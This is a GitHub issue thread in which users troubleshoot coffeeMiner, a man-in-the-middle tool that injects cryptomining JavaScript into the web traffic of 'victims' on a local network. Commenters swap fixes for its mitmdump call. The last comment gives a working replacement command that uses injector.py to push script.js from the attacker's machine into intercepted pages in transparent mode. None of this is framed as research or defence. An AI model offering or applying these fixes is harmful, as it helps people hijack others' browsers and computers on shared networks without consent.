coffeeMiner icon indicating copy to clipboard operation
coffeeMiner copied to clipboard

Problem with mitmproxy

Open biubiu-1 opened this issue 7 years ago • 9 comments

When I run coffeeMiner.py, mitmdump was not found, like this:

sudo python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.120'] sh: 1: /usr/bin/mitmdump: not found

I have edited line 28 in coffeeMiner.py, and mitmdump exists in /usr/bin. What's wrong?

biubiu-1 avatar Feb 09 '18 14:02 biubiu-1

I am having the same issue - exactly.

sudo python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.120'] sh: 1: /usr/bin/mitmdump: not found

mitmdump is in /usr/bin, and no amount of troubleshooting has gotten me anywhere

joshrosen735 avatar Feb 20 '18 03:02 joshrosen735

My problem has solved by installing Kali . My previous Ubuntu seems unsuitable for this program.

biubiu-1 avatar Feb 20 '18 04:02 biubiu-1

I am having the same issue

and im running kali...

givemhell avatar Feb 21 '18 20:02 givemhell

my issue was it checked

os.system("~/.local/bin/mitmdump ....") so i changed it to os.system("/usr/bin/mitmdump ........") manually and it resulted in working code

ragekillen avatar Mar 28 '18 05:03 ragekillen

Thank you for the update on this I will give it a try when I get home

You may resolve the major headache that I had planned on dealing with later this week

givemhell avatar Mar 28 '18 05:03 givemhell

no problem if its still not working after the edit try using root@kali:/# locate mitmdump that will tell you the true location of mitmdump then apply that location instead.

I dont think you will have a problem with it being in another location though, by default its installed to /usr/bin

ragekillen avatar Mar 28 '18 05:03 ragekillen

This code is no longer suitable for the new version of mitmdump

phphubert avatar Jul 11 '18 02:07 phphubert

Its been an issue sense i first posted here, even tried to re-write the code with the updated commands, ive given up at this point

-t doesnt work had to be changed to --mode transparent (if i recall its been a few months)

Changing that got me past that error but gave me a few new ones

the best thing you can do is downgrade I guess but it seems like more hassle than it's worth at this point

I've looked for other people who have made modifications and such and there was only one that was decently good and even then the code had to be Rewritten and fell into more problems

givemhell avatar Jul 11 '18 05:07 givemhell

If someon is still having this problem: There is an error with quotes. You can fix this by replacing line 28 with:

os.system("/usr/bin/mitmdump -s injector.py 'http://<PC IP>:8000/script.js' --mode transparent")

If there's a mitmdump not found error: Replace /usr/bin/mitmdump with correct location (you can get it with sudo locate mitmdump)

nikidziuba avatar Feb 08 '22 11:02 nikidziuba